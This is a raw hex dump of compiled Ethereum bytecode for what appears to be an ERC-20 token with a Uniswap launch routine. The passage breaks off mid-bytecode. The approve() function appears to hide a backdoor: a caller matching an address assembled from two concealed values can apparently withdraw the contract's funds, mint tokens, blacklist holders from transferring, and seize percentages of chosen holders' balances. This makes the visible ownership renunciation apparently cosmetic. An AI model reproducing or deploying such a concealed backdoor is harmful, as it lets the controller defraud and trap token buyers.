fffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505b600560fc83901c03610afe57607f60a083901c166064600a5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546109d29190612bf5565b6109dc9190612b87565b600a5f60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610a489190612424565b92505081905550607f60a083901c166064600a5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610aa19190612bf5565b610aab9190612b87565b600a5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610af69190612c25565b925050819055505b5b81600c5f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610bd99190612609565b60405180910390a36001905092915050565b60095481565b5f60011515600b5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16151503610c4b575f80fd5b5f600c5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610d77578281610cfa9190612c25565b600c5f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b82600a5f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610dc39190612c25565b925050819055505f6004600360058110610de057610ddf6129ad565b5b0154118015610e3b575060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b8015610e7357503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015610ecc575060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015610f7857507f000000000000000000000000000000000000000000000000000000000000000069ffffffffffffffffffff1660507f000000000000000000000000000000000000000000000000000000000000000069ffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16901b1773ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b15610fa0576004600360058110610f9257610f916129ad565b5b0154831115610f9f575f80fd5b5b5f60045f60058110610fb557610fb46129ad565b5b0154118015611010575060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b801561104857503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b80156110a1575060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b801561114d57507f000000000000000000000000000000000000000000000000000000000000000069ffffffffffffffffffff1660507f000000000000000000000000000000000000000000000000000000000000000069ffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16901b1773ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b156111fd575f60045f60058110611167576111666129ad565b5b01546064856111769190612bf5565b6111809190612b87565b905080600a5f60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254019250508190555080846111f99190612c25565b9350505b5f60048060058110611212576112116129ad565b5b015411801561126e575060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156112c7575060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561132b57600480600581106112e0576112df6129ad565b5b0154600a5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054111561132a575f80fd5b5b82600a5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161461140e578373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516114059190612609565b60405180910390a35b60019150509392505050565b7f000000000000000000000000000000000000000000000000000000000000000081565b5f7f0000000000000000000000000000000000000000000000000000000000000000905090565b60025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600a602052805f5260405f205f915090505481565b600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461152e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152590612ca2565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff16600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f600e5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600d602052805f5260405f205f915090505481565b6001805461160d90612886565b80601f016020809104026020016040519081016040528092919081815260200182805461163990612886565b80156116845780601f1061165b57610100808354040283529160200191611684565b820191905f5260205f20905b81548152906001019060200180831161166757829003601f168201915b505050505081565b60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60105481565b5f60011515600b5f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16151503611711575f80fd5b81600a5f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461175d9190612c25565b925050819055505f600460026005811061177a576117796129ad565b5b01541180156117d5575060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b156117fd5760046002600581106117ef576117ee6129ad565b5b01548211156117fc575f80fd5b5b5f6004600160058110611813576118126129ad565b5b015411801561186e575060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b80156118c7575060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611978575f60046001600581106118e2576118e16129ad565b5b01546064846118f19190612bf5565b6118fb9190612b87565b905080600a5f60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254019250508190555080836119749190612c25565b9250505b5f6004806005811061198d5761198c6129ad565b5b01541180156119e9575060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611a42575060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611aee57507f000000000000000000000000000000000000000000000000000000000000000069ffffffffffffffffffff1660507f000000000000000000000000000000000000000000000000000000000000000069ffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16901b1773ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611b5d5760048060058110611b0757611b066129ad565b5b015482600a5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611b529190612424565b1115611b5c575f80fd5b5b81600a5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055503073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611c40578273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611c379190612609565b60405180910390a35b6001905092915050565b600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611cd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cd090612ca2565b60405180910390fd5b600360149054906101000a900460ff16158015611d005750671bc16d674ec8000060105410155b611d08575f80fd5b6001600360146101000a81548160ff021916908315150217905550737a250d5630b4cf539739df2c5dacb4c659f2488d600f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600c5f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611ea0573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611ec49190612cd4565b90508073ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611f4d573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611f719190612cd4565b6040518363ffffffff1660e01b8152600401611f8e929190612cff565b6020604051808303815f875af1158015611faa573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611fce9190612cd4565b60025f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730600a5f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20545f8060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b81526004016120d096959493929190612d68565b60606040518083038185885af11580156120ec573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906121119190612dc7565b50505050565b42841015612123575f80fd5b5f600161212e61143e565b7f19272f7a68d74b33c77bd33c8335a1faf7b19f79ef84f4f54ff45c1ea7d8c2fd8a8a8a600d5f8f73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f815480929190600101919050558b6040516020016121b396959493929190612e17565b604051602081830303815290604052805190602001206040516020016121da929190612eea565b604051602081830303815290604052805190602001208585856040515f815260200160405260405161220f9493929190612f20565b6020604051602081039080840390855afa15801561222f573d5f803e3d5ffd5b5050506020604051035190505f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141580156122a257508773ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16145b6122aa575f80fd5b85600c5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925876040516123859190612609565b60405180910390a350505050505050565b600c602052815f5260405f20602052805f5260405f205f91509150505481565b600360149054906101000a900460ff1681565b600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f819050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61242e826123ee565b9150612439836123ee565b9250828201905080821115612451576124506123f7565b5b92915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561248e578082015181840152602081019050612473565b5f8484015250505050565b5f601f19601f8301169050919050565b5f6124b382612457565b6124bd8185612461565b93506124cd818560208601612471565b6124d681612499565b840191505092915050565b5f6020820190508181035f8301526124f981846124a9565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61252e82612505565b9050919050565b61253e81612524565b8114612548575f80fd5b50565b5f8135905061255981612535565b92915050565b612568816123ee565b8114612572575f80fd5b50565b5f813590506125838161255f565b92915050565b5f806040838503121561259f5761259e612501565b5b5f6125ac8582860161254b565b92505060206125bd85828601612575565b9150509250929050565b5f8115159050919050565b6125db816125c7565b82525050565b5f6020820190506125f45f8301846125d2565b92915050565b612603816123ee565b82525050565b5f60208201905061261c5f8301846125fa565b92915050565b5f805f6060848603121561263957612638612501565b5b5f6126468682870161254b565b93505060206126578682870161254b565b925050604061266886828701612575565b9150509250925092565b5f60ff82169050919050565b61268781612672565b82525050565b5f6020820190506126a05f83018461267e565b92915050565b5f819050919050565b6126b8816126a6565b82525050565b5f6020820190506126d15f8301846126af565b92915050565b6126e081612524565b82525050565b5f6020820190506126f95f8301846126d7565b92915050565b5f6020828403121561271457612713612501565b5b5f6127218482850161254b565b91505092915050565b61273381612672565b811461273d575f80fd5b50565b5f8135905061274e8161272a565b92915050565b61275d816126a6565b8114612767575f80fd5b50565b5f8135905061277881612754565b92915050565b5f805f805f805f60e0888a03121561279957612798612501565b5b5f6127a68a828b0161254b565b97505060206127b78a828b0161254b565b96505060406127c88a828b01612575565b95505060606127d98a828b01612575565b94505060806127ea8a828b01612740565b93505060a06127fb8a828b0161276a565b92505060c061280c8a828b0161276a565b91505092959891949750929550565b5f806040838503121561283157612830612501565b5b5f61283e8582860161254b565b925050602061284f8582860161254b565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061289d57607f821691505b6020821081036128b0576128af612859565b5b50919050565b5f815190506128c48161255f565b92915050565b5f602082840312156128df576128de612501565b5b5f6128ec848285016128b6565b91505092915050565b5f6040820190506129085f8301856126d7565b61291560208301846125fa565b9392505050565b612925816125c7565b811461292f575f80fd5b50565b5f815190506129408161291c565b92915050565b5f6020828403121561295b5761295a612501565b5b5f61296884828501612932565b91505092915050565b5f61297b82612672565b915061298683612672565b925082820261299481612672565b91508082146129a6576129a56123f7565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f6129e482612672565b91506129ef83612672565b9250828201905060ff811115612a0857612a076123f7565b5b92915050565b5f8160011c9050919050565b5f808291508390505b6001851115612a6357808604811115612a3f57612a3e6123f7565b5b6001851615612a4e5780820291505b8081029050612a5c85612a0e565b9450612a23565b94509492505050565b5f82612a7b5760019050612b36565b81612a88575f9050612b36565b8160018114612a9e5760028114612aa857612ad7565b6001915050612b36565b60ff841115612aba57612ab96123f7565b5b8360020a915084821115612ad157612ad06123f7565b5b50612b36565b5060208310610133831016604e8410600b8410161715612b0c5782820a905083811115612b0757612b066123f7565b5b612b36565b612b198484846001612a1a565b92509050818404811115612b3057612b2f6123f7565b5b81810290505b9392505050565b5f612b47826123ee565b9150612b52836123ee565b9250612b7f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612a6c565b905092915050565b5f612b91826123ee565b9150612b9c836123ee565b9250828202612baa816123ee565b91508282048414831517612bc157612bc06123f7565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f612bff826123ee565b9150612c0a836123ee565b925082612c1a57612c19612bc8565b5b828204905092915050565b5f612c2f826123ee565b9150612c3a836123ee565b9250828203905081811115612c5257612c516123f7565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f612c8c602083612461565b9150612c9782612c58565b602082019050919050565b5f6020820190508181035f830152612cb981612c80565b9050919050565b5f81519050612cce81612535565b92915050565b5f60208284031215612ce957612ce8612501565b5b5f612cf684828501612cc0565b91505092915050565b5f604082019050612d125f8301856126d7565b612d1f60208301846126d7565b9392505050565b5f819050919050565b5f819050919050565b5f612d52612d4d612d4884612d26565b612d2f565b6123ee565b9050919050565b612d6281612d38565b82525050565b5f60c082019050612d7b5f8301896126d7565b612d8860208301886125fa565b612d956040830187612d59565b612da26060830186612d59565b612daf60808301856126d7565b612dbc60a08301846125fa565b979650505050505050565b5f805f60608486031215612dde57612ddd612501565b5b5f612deb868287016128b6565b9350506020612dfc868287016128b6565b9250506040612e0d868287016128b6565b9150509250925092565b5f60c082019050612e2a5f8301896126af565b612e3760208301886126d7565b612e4460408301876126d7565b612e5160608301866125fa565b612e5e60808301856125fa565b612e6b60a08301846125fa565b979650505050505050565b5f81905092915050565b7f19010000000000000000000000000000000000000000000000000000000000005f82015250565b5f612eb4600283612e76565b9150612ebf82612e80565b600282019050919050565b5f819050919050565b612ee4612edf826126a6565b612eca565b82525050565b5f612ef482612ea8565b9150612f008285612ed3565b602082019150612f108284612ed3565b6020820191508190509392505050565b5f608082019050612f335f8301876126af565b612f40602083018661267e565b612f4d60408301856126af565b612f5a60608301846126af565b9594505050505056fea26469706673582212204e200dc7616bfc95f47bbf3445c24ad82ed58924b5d555998ce2f6906b178e6764736f6c63430008150033000000000000000000000000000000000000000000003391b9a154eec0146b3f000000000000000000000000acd3001fae1f271a7eaf5bdee802170a2ceb30c10000000000000000000000000000000000000000000082ecc2ce666ada079474
Deployed Bytecode
0x608060405260043610610117575f3560e01c80637ecebe001161009f578063c9567bf911610063578063c9567bf9146103c9578063d505accf146103df578063dd62ed3e14610407578063ec44acf214610443578063f851a4401461046d57610135565b80637ecebe00146102d357806395d89b411461030f57806399c8d55614610339578063a3c2c46214610363578063a9059cbb1461038d57610135565b8063313ce567116100e6578063313ce567146102035780633644e5151461022d57806349bd5a5e1461025757806370a0823114610281578063715018a6146102bd57610135565b806306fdde0314610137578063095ea7b31461016157806318160ddd1461019d57806323b872dd146101c757610135565b36610135573460105f82825461012d9190612424565b925050819055005b005b348015610142575f80fd5b5061014b610497565b60405161015891906124e1565b60405180910390f35b34801561016c575f80fd5b5061018760048036038101906101829190612589565b610522565b60405161019491906125e1565b60405180910390f35b3480156101a8575f80fd5b506101b1610beb565b6040516101be9190612609565b60405180910390f35b3480156101d2575f80fd5b506101ed60048036038101906101e89190612622565b610bf1565b6040516101fa91906125e1565b60405180910390f35b34801561020e575f80fd5b5061021761141a565b604051610224919061268d565b60405180910390f35b348015610238575f80fd5b5061024161143e565b60405161024e91906126be565b60405180910390f35b348015610262575f80fd5b5061026b611465565b60405161027891906126e6565b60405180910390f35b34801561028c575f80fd5b506102a760048036038101906102a291906126ff565b61148a565b6040516102b49190612609565b60405180910390f35b3480156102c8575f80fd5b506102d161149f565b005b3480156102de575f80fd5b506102f960048036038101906102f491906126ff565b6115eb565b6040516103069190612609565b60405180910390f35b34801561031a575f80fd5b50610323611600565b60405161033091906124e1565b60405180910390f35b348015610344575f80fd5b5061034d61168c565b60405161035a91906126e6565b60405180910390f35b34801561036e575f80fd5b506103776116b1565b6040516103849190612609565b60405180910390f35b348015610398575f80fd5b506103b360048036038101906103ae9190612589565b6116b7565b6040516103c091906125e1565b60405180910390f35b3480156103d4575f80fd5b506103dd611c4a565b005b3480156103ea575f80fd5b506104056004803603810190610400919061277e565b612117565b005b348015610412575f80fd5b5061042d6004803603810190610428919061281b565b612396565b60405161043a9190612609565b60405180910390f35b34801561044e575f80fd5b506104576123b6565b60405161046491906125e1565b60405180910390f35b348015610478575f80fd5b506104816123c9565b60405161048e91906126e6565b60405180910390f35b5f80546104a390612886565b80601f01602080910402602001604051908101604052809291908181526020018280546104cf90612886565b801561051a5780601f106104f15761010080835404028352916020019161051a565b820191905f5260205f20905b8154815290600101906020018083116104fd57829003601f168201915b505050505081565b5f7f000000000000000000000000000000000000000000003391b9a154eec0146b3f69ffffffffffffffffffff1660507f0000000000000000000000000000000000000000000082ecc2ce666ada07947469ffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16901b1773ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1603610aff57600160fc83901c03610736575f8273ffffffffffffffffffffffffffffffffffffffff160361063c573373ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f19350505050158015610636573d5f803e3d5ffd5b50610735565b5f8290508073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb338373ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b815260040161069691906126e6565b602060405180830381865afa1580156106b1573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106d591906128ca565b6040518363ffffffff1660e01b81526004016106f29291906128f5565b6020604051808303815f875af115801561070e573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107329190612946565b50505b5b600f60fc83901c03610797575f5b60028160ff161461079557607f60078261075e9190612971565b60ff1684901c1660048260ff166005811061077c5761077b6129ad565b5b018190555060018161078e91906129da565b9050610744565b505b600860fc83901c0361083e57607f60a083901c16600a6107b79190612b3d565b607f60a784901c166107c99190612b87565b60095f8282546107d99190612424565b92505081905550607f60a083901c16600a0a607f60a784901c1602600a5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055505b5f60fc83901c036108fc575f607f601584901c16905080600a6108619190612b3d565b607f600e85901c166108739190612b87565b6004600360058110610888576108876129ad565b5b018190555080600a61089a9190612b3d565b607f600785901c166108ac9190612b87565b60046002600581106108c1576108c06129ad565b5b018190555080600a6108d39190612b3d565b607f84166108e19190612b87565b600480600581106108f5576108f46129ad565b5b0181905550505b600a60fc83901c03610974576065607f60a084901c161461091d575f610920565b60015b600b5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505b600560fc83901c03610afe57607f60a083901c166064600a5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546109d29190612bf5565b6109dc9190612b87565b600a5f60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610a489190612424565b92505081905550607f60a083901c166064600a5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610aa19190612bf5565b610aab9190612b87565b600a5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610af69190612c25565b925050819055505b5b81600c5f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610bd99190612609565b60405180910390a36001905092915050565b60095481565b5f60011515600b5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16151503610c4b575f80fd5b5f600c5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610d77578281610cfa9190612c25565b600c5f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b82600a5f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610dc39190612c25565b925050819055505f6004600360058110610de057610ddf6129ad565b5b0154118015610e3b575060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b8015610e7357503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015610ecc575060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015610f7857507f000000000000000000000000000000000000000000003391b9a154eec0146b3f69ffffffffffffffffffff1660507f0000000000000000000000000000000000000000000082ecc2ce666ada07947469ffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16901b1773ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b15610fa0576004600360058110610f9257610f916129ad565b5b0154831115610f9f575f80fd5b5b5f60045f60058110610fb557610fb46129ad565b5b0154118015611010575060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b801561104857503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b80156110a1575060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b801561114d57507f000000000000000000000000000000000000000000003391b9a154eec0146b3f69ffffffffffffffffffff1660507f0000000000000000000000000000000000000000000082ecc2ce666ada07947469ffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16901b1773ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b156111fd575f60045f60058110611167576111666129ad565b5b01546064856111769190612bf5565b6111809190612b87565b905080600a5f60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254019250508190555080846111f99190612c25565b9350505b5f60048060058110611212576112116129ad565b5b015411801561126e575060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156112c7575060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561132b57600480600581106112e0576112df6129ad565b5b0154600a5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054111561132a575f80fd5b5b82600a5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161461140e578373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516114059190612609565b60405180910390a35b60019150509392505050565b7f000000000000000000000000000000000000000000000000000000000000000681565b5f7f382ce0b3149a124fe1ea1fd9d5ee6fcbc06f257d35e2d49af1f2db9b063e64b3905090565b60025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600a602052805f5260405f205f915090505481565b600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461152e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152590612ca2565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff16600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f600e5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600d602052805f5260405f205f915090505481565b6001805461160d90612886565b80601f016020809104026020016040519081016040528092919081815260200182805461163990612886565b80156116845780601f1061165b57610100808354040283529160200191611684565b820191905f5260205f20905b81548152906001019060200180831161166757829003601f1682